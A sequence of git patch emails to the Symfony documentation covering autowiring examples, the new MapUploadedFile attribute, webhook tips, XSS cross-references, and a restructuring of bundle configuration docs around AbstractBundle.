+.. versionadded:: 7.1
+
+    :class:`Symfony\Component\DependencyInjection\Attribute\\AutowireMethodOf`
+    was introduced in Symfony 7.1.
+
 .. _autowiring-calls:
 
 Autowiring other Methods (e.g. Setters and Public Typed Properties)

From 076ea3d11f16fc27230648dd07cf5de88434cc74 Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Mon, 22 Apr 2024 20:35:49 +0200
Subject: [PATCH 6034/7107] -

---
 service_container/autowiring.rst | 9 +++++----
 1 file changed, 5 insertions(+), 4 deletions(-)

diff --git a/service_container/autowiring.rst b/service_container/autowiring.rst
index f570670a7dc..d2d97e0fa3d 100644
--- a/service_container/autowiring.rst
+++ b/service_container/autowiring.rst
@@ -565,7 +565,7 @@ attribute like this::
     {
         public function __construct(
             #[Target('app.uppercase_transformer')]
-            private TransformerInterface $transformer
+            private TransformerInterface $transformer,
         ){
         }
     }
@@ -602,7 +602,8 @@ logic about those arguments::
     class MessageGenerator
     {
         public function __construct(
-            #[Autowire(service: 'monolog.logger.request')] LoggerInterface $logger
+            #[Autowire(service: 'monolog.logger.request')]
+            private LoggerInterface $logger,
         ) {
             // ...
         }
@@ -697,7 +698,7 @@ attribute::
     {
         public function __construct(
             #[AutowireServiceClosure('third_party.remote_message_formatter')]
-            private \Closure $messageFormatterResolver
+            private \Closure $messageFormatterResolver,
         ) {
         }
 
@@ -732,7 +733,7 @@ create extra instances of a non-shared service::
     {
         public function __construct(
             #[AutowireCallable(service: 'third_party.remote_message_formatter', method: 'format')]
-            private \Closure $formatCallable
+            private \Closure $formatCallable,
         ) {
         }
 

From c7c9182ec30c39536203d1a7953b36a81bb1e7ce Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Mon, 22 Apr 2024 20:37:33 +0200
Subject: [PATCH 6035/7107] -

---
 service_container/autowiring.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/service_container/autowiring.rst b/service_container/autowiring.rst
index f3a32c01ea0..594e5f584f8 100644
--- a/service_container/autowiring.rst
+++ b/service_container/autowiring.rst
@@ -765,8 +765,8 @@ the property name as method name::
 
 .. versionadded:: 7.1
 
-    :class:`Symfony\Component\DependencyInjection\Attribute\\AutowireMethodOf`
-    was introduced in Symfony 7.1.
+    The :class:`Symfony\Component\DependencyInjection\Attribute\\AutowireMethodOf`
+    attribute was introduced in Symfony 7.1.
 
 .. _autowiring-calls:
 

From 3c52174842b972fb9979d8fb4ec538ce12be6ffa Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Mon, 22 Apr 2024 20:39:28 +0200
Subject: [PATCH 6036/7107] -

---
 service_container/autowiring.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/service_container/autowiring.rst b/service_container/autowiring.rst
index d2d97e0fa3d..783808d9a97 100644
--- a/service_container/autowiring.rst
+++ b/service_container/autowiring.rst
@@ -717,7 +717,7 @@ attribute::
 
 It is common that a service accepts a closure with a specific signature.
 In this case, you can use the
-:class:`Symfony\Component\DependencyInjection\Attribute\\AutowireCallable` attribute
+:class:`Symfony\\Component\\DependencyInjection\\Attribute\\AutowireCallable` attribute
 to generate a closure with the same signature as a specific method of a service. When
 this closure is called, it will pass all its arguments to the underlying service
 function.  If the closure needs to be called more than once, the service instance
@@ -746,7 +746,7 @@ create extra instances of a non-shared service::
     }
 
 Finally, you can pass the ``lazy: true`` option to the
-:class:`Symfony\Component\DependencyInjection\Attribute\\AutowireCallable`
+:class:`Symfony\\Component\\DependencyInjection\\Attribute\\AutowireCallable`
 attribute. By doing so, the callable will automatically be lazy, which means
 that the encapsulated service will be instantiated **only** at the
 closure's first call.

From 20759594a59d907a06c0489f21ea300cf67ec4a8 Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Mon, 22 Apr 2024 20:40:25 +0200
Subject: [PATCH 6037/7107] -

---
 service_container/autowiring.rst | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/service_container/autowiring.rst b/service_container/autowiring.rst
index f89cfdbdc32..8ccde353fe9 100644
--- a/service_container/autowiring.rst
+++ b/service_container/autowiring.rst
@@ -738,9 +738,9 @@ attribute. By doing so, the callable will automatically be lazy, which means
 that the encapsulated service will be instantiated **only** at the
 closure's first call.
 
-:class:`Symfony\Component\DependencyInjection\Attribute\\AutowireMethodOf`
-provides a simpler way of specifying the name of the service method by using
-the property name as method name::
+The :class:`Symfony\\Component\\DependencyInjection\\Attribute\\AutowireMethodOf`
+attribute provides a simpler way of specifying the name of the service method
+by using the property name as method name::
 
     // src/Service/MessageGenerator.php
     namespace App\Service;

From f3304d8be67b41addf7bfeb099595674673a2b4b Mon Sep 17 00:00:00 2001
From: marcagrio <80474750+marcagrio@users.noreply.github.com>
Date: Wed, 10 Apr 2024 09:50:25 +0200
Subject: [PATCH 6038/7107] Update session.rst

---
 session.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/session.rst b/session.rst
index 549bf63d912..08e1745d13c 100644
--- a/session.rst
+++ b/session.rst
@@ -176,7 +176,7 @@ For example, imagine you're processing a :doc:`form </forms>` submission::
         $flashes->add('error', 'Another error');
 
 After processing the request, the controller sets a flash message in the session
-and then redirects. The message key (``notice`` in this example) can be anything:
+and then redirects. The message key (``warning`` and ``error`` in this example) can be anything:
 you'll use this key to retrieve the message.
 
 In the template of the next page (or even better, in your base layout template),

From 43355162a8cce5c794299e6d359a8a436929c067 Mon Sep 17 00:00:00 2001
From: Rene Lima <renedelima@gmail.com>
Date: Fri, 19 Apr 2024 20:28:09 +0200
Subject: [PATCH 6039/7107] Add documentation for #[MapUploadedFile] attribute

---
 controller.rst           | 93 ++++++++++++++++++++++++++++++++++++++++
 reference/attributes.rst |  1 +
 2 files changed, 94 insertions(+)

diff --git a/controller.rst b/controller.rst
index 90277e07b76..f0cac7b2350 100644
--- a/controller.rst
+++ b/controller.rst
@@ -587,6 +587,99 @@ using the ``type`` option of the attribute::
 
     The ``type`` option of ``#[MapRequestPayload]`` was introduced in Symfony 7.1.
 
+.. _controller_map-uploaded-file:
+
+Mapping Uploaded File
+~~~~~~~~~~~~~~~~~~~~~
+
+You can map ``UploadedFile``s to the controller arguments and optionally bind ``Constraints`` to them.
+The argument resolver fetches the ``UploadedFile`` based on the argument name.
+
+::
+
+    namespace App\Controller;
+
+    use Symfony\Component\HttpFoundation\File\UploadedFile;
+    use Symfony\Component\HttpFoundation\Response;
+    use Symfony\Component\HttpKernel\Attribute\MapUploadedFile;
+    use Symfony\Component\Routing\Attribute\Route;
+    use Symfony\Component\Validator\Constraints as Assert;
+
+    #[Route('/user/picture', methods: ['PUT'])]
+    class ChangeUserPictureController
+    {
+        public function _invoke(
+            #[MapUploadedFile([
+                new Assert\File(mimeTypes: ['image/png', 'image/jpeg']),
+                new Assert\Image(maxWidth: 3840, maxHeight: 2160)
+            ])]
+            UploadedFile $picture
+        ): Response {
+            // ...
+        }
+    }
+
+.. tip::
+
+    The bound ``Constraints`` are performed before injecting the ``UploadedFile`` into the controller argument.
+    When a constraint violation is detected an ``HTTPException`` is thrown and the controller's
+    action is not executed.
+
+Mapping ``UploadedFile``s with no custom settings.
+
+.. code-block:: php-attributes
+
+    #[MapUploadedFile]
+    UploadedFile $document
+
+An ``HTTPException`` is thrown when the file is not submitted.
+You can skip this check by making the controller argument nullable.
+
+.. code-block:: php-attributes
+
+    #[MapUploadedFile]
+    ?UploadedFile $document
+
+.. code-block:: php-attributes
+
+    #[MapUploadedFile]
+    UploadedFile|null $document
+
+``UploadedFile`` collections must be mapped to array or variadic arguments.
+The bound ``Constraints`` will be applied to each file in the collection.
+If a constraint violation is detected to one of them an ``HTTPException`` is thrown.
+
+.. code-block:: php-attributes
+
+    #[MapUploadedFile(new Assert\File(mimeTypes: ['application/pdf']))]
+    array $documents
+
+.. code-block:: php-attributes
+
+    #[MapUploadedFile(new Assert\File(mimeTypes: ['application/pdf']))]
+    UploadedFile ...$documents
+
+Handling custom names.
+
+.. code-block:: php-attributes
+
+    #[MapUploadedFile(name: 'something-else')]
+    UploadedFile $document
+
+Changing the ``HTTP Status`` thrown when constraint violations are detected.
+
+.. code-block:: php-attributes
+
+    #[MapUploadedFile(
+        constraints: new Assert\File(maxSize: '2M'),
+        validationFailedStatusCode: Response::HTTP_REQUEST_ENTITY_TOO_LARGE
+    )]
+    UploadedFile $document
+
+.. versionadded:: 7.1
+
+    The ``#[MapUploadedFile]`` attribute was introduced in Symfony 7.1.
+
 Managing the Session
 --------------------
 
diff --git a/reference/attributes.rst b/reference/attributes.rst
index a1e8532c347..4428dc4c587 100644
--- a/reference/attributes.rst
+++ b/reference/attributes.rst
@@ -64,6 +64,7 @@ HttpKernel
 * :ref:`MapQueryParameter <controller_map-request>`
 * :ref:`MapQueryString <controller_map-request>`
 * :ref:`MapRequestPayload <controller_map-request>`
+* :ref:`MapUploadedFile <controller_map-uploaded-file>`
 * :ref:`ValueResolver <managing-value-resolvers>`
 * :ref:`WithHttpStatus <framework_exceptions>`
 * :ref:`WithLogLevel <framework_exceptions>`

From cbf0283855c15989a72e1dc9947a82cadbe0c933 Mon Sep 17 00:00:00 2001
From: Carl Casbolt <carl@platinumtechsolutions.co.uk>
Date: Mon, 22 Apr 2024 23:59:28 +0100
Subject: [PATCH 6040/7107] [Security] Update login_link.rst

---
 security/login_link.rst | 2 ++
 1 file changed, 2 insertions(+)

diff --git a/security/login_link.rst b/security/login_link.rst
index 0f642e1ad15..cfa6b52acfb 100644
--- a/security/login_link.rst
+++ b/security/login_link.rst
@@ -279,6 +279,8 @@ This will send an email like this to the user:
         // src/Notifier/CustomLoginLinkNotification
         namespace App\Notifier;
 
+        use Symfony\Component\Notifier\Message\EmailMessage;
+        use Symfony\Component\Notifier\Recipient\EmailRecipientInterface;
         use Symfony\Component\Security\Http\LoginLink\LoginLinkNotification;
 
         class CustomLoginLinkNotification extends LoginLinkNotification

From 2a6654789221f802e13c46cfe1e77b5cf81cdc34 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 23 Apr 2024 14:57:27 +0200
Subject: [PATCH 6041/7107] Minor fix

---
 templates.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/templates.rst b/templates.rst
index 7dd7a758fae..33815a2b21a 100644
--- a/templates.rst
+++ b/templates.rst
@@ -1257,7 +1257,7 @@ user name and a malicious user sets the following as their name:
     </script>
 
 You'll see ``My Name`` on screen but the attacker just secretly stole your cookies
-so they can impersonate you in other websites. This is known as a `Cross-Site Scripting`_
+so they can impersonate you on other websites. This is known as a `Cross-Site Scripting`_
 or XSS attack.
 
 To prevent this attack, use *"output escaping"* to transform the characters

From 71697592d789b9d434e284e9b7d0c8a1f243e349 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 23 Apr 2024 15:01:21 +0200
Subject: [PATCH 6042/7107] Update more references to XSS attacks

---
 html_sanitizer.rst                                  | 4 ++--
 reference/forms/types/options/sanitize_html.rst.inc | 2 +-
 reference/forms/types/textarea.rst                  | 2 +-
 3 files changed, 4 insertions(+), 4 deletions(-)

diff --git a/html_sanitizer.rst b/html_sanitizer.rst
index d5b28b0afb8..b412a49f321 100644
--- a/html_sanitizer.rst
+++ b/html_sanitizer.rst
@@ -15,8 +15,8 @@ that the returned HTML is very predictable (it only contains allowed
 elements), but it does not work well with badly formatted input (e.g.
 invalid HTML). The sanitizer is targeted for two use cases:
 
-* Preventing security attacks based on XSS or other technologies relying on
-  execution of malicious code on the visitors browsers;
+* Preventing security attacks based on :ref:`XSS <xss-attacks>` or other technologies
+  relying on the execution of malicious code on the visitors browsers;
 * Generating HTML that always respects a certain format (only certain
   tags, attributes, hosts, etc.) to be able to consistently style the
   resulting output with CSS. This also protects your application against
diff --git a/reference/forms/types/options/sanitize_html.rst.inc b/reference/forms/types/options/sanitize_html.rst.inc
index d5525674815..ead1e2791d5 100644
--- a/reference/forms/types/options/sanitize_html.rst.inc
+++ b/reference/forms/types/options/sanitize_html.rst.inc
@@ -9,7 +9,7 @@ sanitize_html
 
 When ``true``, the text input will be sanitized using the
 :doc:`Symfony HTML Sanitizer component </html_sanitizer>` after the form is
-submitted. This protects the form input against XSS, clickjacking and CSS
+submitted. This protects the form input against :ref:`XSS <xss-attacks>`, clickjacking and CSS
 injection.
 
 .. note::
diff --git a/reference/forms/types/textarea.rst b/reference/forms/types/textarea.rst
index 0460bca6942..cf56d3067de 100644
--- a/reference/forms/types/textarea.rst
+++ b/reference/forms/types/textarea.rst
@@ -22,7 +22,7 @@ Renders a ``textarea`` HTML element.
 .. caution::
 
     When allowing users to type HTML code in the textarea (or using a
-    WYSIWYG) editor, the application is vulnerable to XSS injection,
+    WYSIWYG) editor, the application is vulnerable to :ref:`XSS injection <xss-attacks>`,
     clickjacking or CSS injection. Use the `sanitize_html`_ option to
     protect against these types of attacks.
 

From 86c9fe25d057fa9cc61d504c30818344af1cbef5 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 23 Apr 2024 15:52:22 +0200
Subject: [PATCH 6043/7107] Reword

---
 webhook.rst | 16 +++++++++++-----
 1 file changed, 11 insertions(+), 5 deletions(-)

diff --git a/webhook.rst b/webhook.rst
index f931a3601ce..a981cd3e467 100644
--- a/webhook.rst
+++ b/webhook.rst
@@ -16,11 +16,6 @@ Installation
 
     $ composer require symfony/webhook
 
-.. tip::
-
-    Since MakerBundle ``v1.58.0`` - you can run ``php bin/console make:webhook``
-    to generate the files needed to use the Webhook component.
-
 Usage in Combination with the Mailer Component
 ----------------------------------------------
 
@@ -193,3 +188,14 @@ For SMS webhooks, react to the
             // Handle the SMS event
         }
     }
+
+Creating a Custom Webhook
+-------------------------
+
+.. tip::
+
+    Starting in `MakerBundle`_ ``v1.58.0``, you can run ``php bin/console make:webhook``
+    to generate the request parser and consumer files needed to create your own
+    Webhook.
+
+_`MakerBundle`: https://symfony.com/doc/current/bundles/SymfonyMakerBundle/index.html

From ef7b670c91a26e33ca9c27d253c10734473f4e0c Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 23 Apr 2024 16:13:22 +0200
Subject: [PATCH 6044/7107] Minor tweak

---
 reference/configuration/framework.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/reference/configuration/framework.rst b/reference/configuration/framework.rst
index 2fdf20eab05..ace44982dbd 100644
--- a/reference/configuration/framework.rst
+++ b/reference/configuration/framework.rst
@@ -432,7 +432,7 @@ An added bonus of defining the enabled locales is that they are automatically
 added as a requirement of the :ref:`special _locale parameter <routing-locale-parameter>`.
 For example, if you define this value as ``['ar', 'he', 'ja', 'zh']``, the
 ``_locale`` routing parameter will have an ``ar|he|ja|zh`` requirement. If some
-user makes requests with a locale not included in this option, they'll see an error.
+user makes requests with a locale not included in this option, they'll see a 404 error.
 
 set_content_language_from_locale
 ................................

From a36ff96c8b80d91dd307649db3a7b92ac1b33803 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 24 Apr 2024 10:01:55 +0200
Subject: [PATCH 6045/7107] Minor RST syntax issue

---
 webhook.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/webhook.rst b/webhook.rst
index a981cd3e467..773df3643bc 100644
--- a/webhook.rst
+++ b/webhook.rst
@@ -198,4 +198,4 @@ Creating a Custom Webhook
     to generate the request parser and consumer files needed to create your own
     Webhook.
 
-_`MakerBundle`: https://symfony.com/doc/current/bundles/SymfonyMakerBundle/index.html
+.. _`MakerBundle`: https://symfony.com/doc/current/bundles/SymfonyMakerBundle/index.html

From 09f26ddd840de9456f0fb795e9c89c47b41875c9 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 24 Apr 2024 09:54:38 +0200
Subject: [PATCH 6046/7107] Disable a validation rule in the docs linter

---
 .doctor-rst.yaml | 4 ----
 1 file changed, 4 deletions(-)

diff --git a/.doctor-rst.yaml b/.doctor-rst.yaml
index 6f8707dd0bb..d6afb41ba6e 100644
--- a/.doctor-rst.yaml
+++ b/.doctor-rst.yaml
@@ -1,9 +1,5 @@
 rules:
     american_english: ~
-    argument_variable_must_match_type:
-        arguments:
-            - { type: 'ContainerBuilder', name: 'container' }
-            - { type: 'ContainerConfigurator', name: 'container' }
     avoid_repetetive_words: ~
     blank_line_after_anchor: ~
     blank_line_after_directive: ~

From c33b2293d95cccb12134efb15d53878ca5e68971 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Markus=20Fr=C3=BChauf?= <m.fruehauf@gmail.com>
Date: Wed, 24 Apr 2024 12:17:09 +0200
Subject: [PATCH 6047/7107] fix dead link with correct once

---
 scheduler.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/scheduler.rst b/scheduler.rst
index 12d76eadc29..3a104b4b353 100644
--- a/scheduler.rst
+++ b/scheduler.rst
@@ -965,12 +965,12 @@ before being further redispatched to its corresponding handler::
     }
 
 When using the ``RedispatchMessage``, Symfony will attach a
-:class:`Symfony\\Component\\Messenger\\Stamp\\ScheduledStamp` to the message,
+:class:`Symfony\\Component\\Scheduler\\Messenger\\Stamp\\ScheduledStamp` to the message,
 helping you identify those messages when needed.
 
 .. versionadded:: 6.4
 
-    Automatically attaching a :class:`Symfony\\Component\\Messenger\\Stamp\\ScheduledStamp`
+    Automatically attaching a :class:`Symfony\\Component\\Scheduler\\Messenger\\Stamp\\ScheduledStamp`
     to redispatched messages was introduced in Symfony 6.4.
 
 .. _`Memoizing`: https://en.wikipedia.org/wiki/Memoization

From ed767c9fa65cc4c97d8c2909cc83d02465b84102 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 16 Apr 2024 17:52:36 +0200
Subject: [PATCH 6048/7107] [Bundles] Promote the new bundle structure
 everywhere

---
 bundles.rst               |   4 +
 bundles/configuration.rst | 195 ++++++++++++++++++++------------------
 bundles/extension.rst     | 126 +++++++++++++-----------
 3 files changed, 179 insertions(+), 146 deletions(-)

diff --git a/bundles.rst b/bundles.rst
index c937b1ac69f..bb055f5ea09 100644
--- a/bundles.rst
+++ b/bundles.rst
@@ -87,6 +87,8 @@ of the bundle. Now that you've created the bundle, enable it::
 
 And while it doesn't do anything yet, AcmeBlogBundle is now ready to be used.
 
+.. _bundles-directory-structure:
+
 Bundle Directory Structure
 --------------------------
 
@@ -119,6 +121,8 @@ to be adjusted if needed:
 ``translations/``
     Holds translations organized by domain and locale (e.g. ``AcmeBlogBundle.en.xlf``).
 
+.. _bundles-legacy-directory-structure:
+
 .. caution::
 
     The recommended bundle structure was changed in Symfony 5, read the
diff --git a/bundles/configuration.rst b/bundles/configuration.rst
index c155fe8a56a..48b91c1713a 100644
--- a/bundles/configuration.rst
+++ b/bundles/configuration.rst
@@ -46,11 +46,114 @@ as integration of other related components:
             $framework->form()->enabled(true);
         };
 
+There are two different ways of creating friendly configuration for a bundle:
+
+#. :ref:`Using the main bundle class <bundle-friendly-config-bundle-class>`:
+   this is recommended for new bundles and for bundles following the
+   :ref:`recommended directory structure <bundles-directory-structure>`;
+#. :ref:`Using the Bundle extension class <bundle-friendly-config-extension>`:
+   this was the traditional way of doing it, but nowadays it's only recommended for
+   bundles following the :ref:`legacy directory structure <bundles-legacy-directory-structure>`.
+
+.. _using-the-bundle-class:
+.. _bundle-friendly-config-bundle-class:
+
+Using the AbstractBundle Class
+------------------------------
+
+.. versionadded:: 6.1
+
+    The ``AbstractBundle`` class was introduced in Symfony 6.1.
+
+In bundles extending the :class:`Symfony\\Component\\HttpKernel\\Bundle\\AbstractBundle`
+class, you can add all the logic related to processing the configuration in that class::
+
+    // src/AcmeSocialBundle.php
+    namespace Acme\SocialBundle;
+
+    use Symfony\Component\Config\Definition\Configurator\DefinitionConfigurator;
+    use Symfony\Component\DependencyInjection\ContainerBuilder;
+    use Symfony\Component\DependencyInjection\Loader\Configurator\ContainerConfigurator;
+    use Symfony\Component\HttpKernel\Bundle\AbstractBundle;
+
+    class AcmeSocialBundle extends AbstractBundle
+    {
+        public function configure(DefinitionConfigurator $definition): void
+        {
+            $definition->rootNode()
+                ->children()
+                    ->arrayNode('twitter')
+                        ->children()
+                            ->integerNode('client_id')->end()
+                            ->scalarNode('client_secret')->end()
+                        ->end()
+                    ->end() // twitter
+                ->end()
+            ;
+        }
+
+        public function loadExtension(array $config, ContainerConfigurator $container, ContainerBuilder $builder): void
+        {
+            // the "$config" variable is already merged and processed so you can
+            // use it directly to configure the service container (when defining an
+            // extension class, you also have to do this merging and processing)
+            $containerConfigurator->services()
+                ->get('acme.social.twitter_client')
+                ->arg(0, $config['twitter']['client_id'])
+                ->arg(1, $config['twitter']['client_secret'])
+            ;
+        }
+    }
+
+.. note::
+
+    The ``configure()`` and ``loadExtension()`` methods are called only at compile time.
+
+.. tip::
+
+    The ``AbstractBundle::configure()`` method also allows to import the
+    configuration definition from one or more files::
+
+        // src/AcmeSocialBundle.php
+        namespace Acme\SocialBundle;
+
+        // ...
+        class AcmeSocialBundle extends AbstractBundle
+        {
+            public function configure(DefinitionConfigurator $definition): void
+            {
+                $definition->import('../config/definition.php');
+                // you can also use glob patterns
+                //$definition->import('../config/definition/*.php');
+            }
+
+            // ...
+        }
+
+    .. code-block:: php
+
+        // config/definition.php
+        use Symfony\Component\Config\Definition\Configurator\DefinitionConfigurator;
+
+        return static function (DefinitionConfigurator $definition): void {
+            $definition->rootNode()
+                ->children()
+                    ->scalarNode('foo')->defaultValue('bar')->end()
+                ->end()
+            ;
+        };
+
+.. _bundle-friendly-config-extension:
+
 Using the Bundle Extension
 --------------------------
 
+This is the traditional way of creating friendly configuration for bundles. For new
+bundles it's recommended to :ref:`use the main bundle class <bundle-friendly-config-bundle-class>`,
+but the traditional way of creating an extension class still works.
+
 Imagine you are creating a new bundle - AcmeSocialBundle - which provides
-integration with Twitter. To make your bundle configurable to the user, you
+integration with X/Twitter. To make your bundle configurable to the user, you
 can add some configuration that looks like this:
 
 .. configuration-block::
@@ -110,7 +213,7 @@ load correct services and parameters inside an "Extension" class.
 
     If a bundle provides an Extension class, then you should *not* generally
     override any service container parameters from that bundle. The idea
-    is that if an Extension class is present, every setting that should be
+    is that if an extension class is present, every setting that should be
     configurable should be present in the configuration made available by
     that class. In other words, the extension class defines all the public
     configuration settings for which backward compatibility will be maintained.
@@ -315,94 +418,6 @@ In your extension, you can load this and dynamically set its arguments::
             // ... now use the flat $config array
         }
 
-.. _using-the-bundle-class:
-
-Using the AbstractBundle Class
-------------------------------
-
-.. versionadded:: 6.1
-
-    The ``AbstractBundle`` class was introduced in Symfony 6.1.
-
-As an alternative, instead of creating an extension and configuration class as
-shown in the previous section, you can also extend
-:class:`Symfony\\Component\\HttpKernel\\Bundle\\AbstractBundle` to add this
-logic to the bundle class directly::
-
-    // src/AcmeSocialBundle.php
-    namespace Acme\SocialBundle;
-
-    use Symfony\Component\Config\Definition\Configurator\DefinitionConfigurator;
-    use Symfony\Component\DependencyInjection\ContainerBuilder;
-    use Symfony\Component\DependencyInjection\Loader\Configurator\ContainerConfigurator;
-    use Symfony\Component\HttpKernel\Bundle\AbstractBundle;
-
-    class AcmeSocialBundle extends AbstractBundle
-    {
-        public function configure(DefinitionConfigurator $definition): void
-        {
-            $definition->rootNode()
-                ->children()
-                    ->arrayNode('twitter')
-                        ->children()
-                            ->integerNode('client_id')->end()
-                            ->scalarNode('client_secret')->end()
-                        ->end()
-                    ->end() // twitter
-                ->end()
-            ;
-        }
-
-        public function loadExtension(array $config, ContainerConfigurator $containerConfigurator, ContainerBuilder $containerBuilder): void
-        {
-            // Contrary to the Extension class, the "$config" variable is already merged
-            // and processed. You can use it directly to configure the service container.
-            $containerConfigurator->services()
-                ->get('acme.social.twitter_client')
-                ->arg(0, $config['twitter']['client_id'])
-                ->arg(1, $config['twitter']['client_secret'])
-            ;
-        }
-    }
-
-.. note::
-
-    The ``configure()`` and ``loadExtension()`` methods are called only at compile time.
-
-.. tip::
-
-    The ``AbstractBundle::configure()`` method also allows to import the
-    configuration definition from one or more files::
-
-        // src/AcmeSocialBundle.php
-        namespace Acme\SocialBundle;
-
-        // ...
-        class AcmeSocialBundle extends AbstractBundle
-        {
-            public function configure(DefinitionConfigurator $definition): void
-            {
-                $definition->import('../config/definition.php');
-                // you can also use glob patterns
-                //$definition->import('../config/definition/*.php');
-            }
-
-            // ...
-        }
-
-    .. code-block:: php
-
-        // config/definition.php
-        use Symfony\Component\Config\Definition\Configurator\DefinitionConfigurator;
-
-        return static function (DefinitionConfigurator $definition): void {
-            $definition->rootNode()
-                ->children()
-                    ->scalarNode('foo')->defaultValue('bar')->end()
-                ->end()
-            ;
-        };
-
 Modifying the Configuration of Another Bundle
 ---------------------------------------------
 
diff --git a/bundles/extension.rst b/bundles/extension.rst
index 8b2928358ad..d2e3cd05b9d 100644
--- a/bundles/extension.rst
+++ b/bundles/extension.rst
@@ -6,12 +6,77 @@ file used by the application but in the bundles themselves. This article
 explains how to create and load service files using the bundle directory
 structure.
 
+There are two different ways of doing it:
+
+#. :ref:`Load your services in the main bundle class <bundle-load-services-bundle-class>`:
+   this is recommended for new bundles and for bundles following the
+   :ref:`recommended directory structure <bundles-directory-structure>`;
+#. :ref:`Create an extension class to load the service configuration files <bundle-load-services-extension>`:
+   this was the traditional way of doing it, but nowadays it's only recommended for
+   bundles following the :ref:`legacy directory structure <bundles-legacy-directory-structure>`.
+
+.. _bundle-load-services-bundle-class:
+
+Loading Services Directly in your Bundle Class
+----------------------------------------------
+
+.. versionadded:: 6.1
+
+    The ``AbstractBundle`` class was introduced in Symfony 6.1.
+
+In bundles extending the :class:`Symfony\\Component\\HttpKernel\\Bundle\\AbstractBundle`
+class, you can define the :method:`Symfony\\Component\\HttpKernel\\Bundle\\AbstractBundle::loadExtension`
+method to load service definitions from configuration files::
+
+    // ...
+    use Symfony\Component\DependencyInjection\Loader\Configurator\ContainerConfigurator;
+    use Symfony\Component\HttpKernel\Bundle\AbstractBundle;
+
+    class AcmeHelloBundle extends AbstractBundle
+    {
+        public function loadExtension(array $config, ContainerConfigurator $container, ContainerBuilder $builder): void
+        {
+            // load an XML, PHP or YAML file
+            $container->import('../config/services.xml');
+
+            // you can also add or replace parameters and services
+            $container->parameters()
+                ->set('acme_hello.phrase', $config['phrase'])
+            ;
+
+            if ($config['scream']) {
+                $container->services()
+                    ->get('acme_hello.printer')
+                        ->class(ScreamingPrinter::class)
+                ;
+            }
+        }
+    }
+
+This method works similar to the ``Extension::load()`` method explained below,
+but it uses a new simpler API to define and import service configuration.
+
+.. note::
+
+    Contrary to the ``$configs`` parameter in ``Extension::load()``, the
+    ``$config`` parameter is already merged and processed by the
+    ``AbstractBundle``.
+
+.. note::
+
+    The ``loadExtension()`` is called only at compile time.
+
+.. _bundle-load-services-extension:
+
 Creating an Extension Class
 ---------------------------
 
-In order to load service configuration, you have to create a Dependency
-Injection (DI) Extension for your bundle. By default, the Extension class must
-follow these conventions (but later you'll learn how to skip them if needed):
+This is the traditional way of loading service definitions in bundles. For new
+bundles it's recommended to :ref:`load your services in the main bundle class <bundle-load-services-bundle-class>`,
+but the traditional way of creating an extension class still works.
+
+A depdendency injection extension is defined as a class that follows these
+conventions (later you'll learn how to skip them if needed):
 
 * It has to live in the ``DependencyInjection`` namespace of the bundle;
 
@@ -20,7 +85,7 @@ follow these conventions (but later you'll learn how to skip them if needed):
   :class:`Symfony\\Component\\DependencyInjection\\Extension\\Extension` class;
 
 * The name is equal to the bundle name with the ``Bundle`` suffix replaced by
-  ``Extension`` (e.g. the Extension class of the AcmeBundle would be called
+  ``Extension`` (e.g. the extension class of the AcmeBundle would be called
   ``AcmeExtension`` and the one for AcmeHelloBundle would be called
   ``AcmeHelloExtension``).
 
@@ -70,7 +135,7 @@ class name to underscores (e.g. ``AcmeHelloExtension``'s DI alias is
 ``acme_hello``).
 
 Using the ``load()`` Method
----------------------------
+~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
 In the ``load()`` method, all services and parameters related to this extension
 will be loaded. This method doesn't get the actual container instance, but a
@@ -108,57 +173,6 @@ The Extension is also the class that handles the configuration for that
 particular bundle (e.g. the configuration in ``config/packages/<bundle_alias>.yaml``).
 To read more about it, see the ":doc:`/bundles/configuration`" article.
 
-Loading Services directly in your Bundle class
-----------------------------------------------
-
-.. versionadded:: 6.1
-
-    The ``AbstractBundle`` class was introduced in Symfony 6.1.
-
-Alternatively, you can define and load services configuration directly in a
-bundle class instead of creating a specific ``Extension`` class. You can do
-this by extending from :class:`Symfony\\Component\\HttpKernel\\Bundle\\AbstractBundle`
-and defining the :method:`Symfony\\Component\\HttpKernel\\Bundle\\AbstractBundle::loadExtension`
-method::
-
-    // ...
-    use Symfony\Component\DependencyInjection\Loader\Configurator\ContainerConfigurator;
-    use Symfony\Component\HttpKernel\Bundle\AbstractBundle;
-
-    class AcmeHelloBundle extends AbstractBundle
-    {
-        public function loadExtension(array $config, ContainerConfigurator $containerConfigurator, ContainerBuilder $containerBuilder): void
-        {
-            // load an XML, PHP or Yaml file
-            $containerConfigurator->import('../config/services.xml');
-
-            // you can also add or replace parameters and services
-            $containerConfigurator->parameters()
-                ->set('acme_hello.phrase', $config['phrase'])
-            ;
-
-            if ($config['scream']) {
-                $containerConfigurator->services()
-                    ->get('acme_hello.printer')
-                        ->class(ScreamingPrinter::class)
-                ;
-            }
-        }
-    }
-
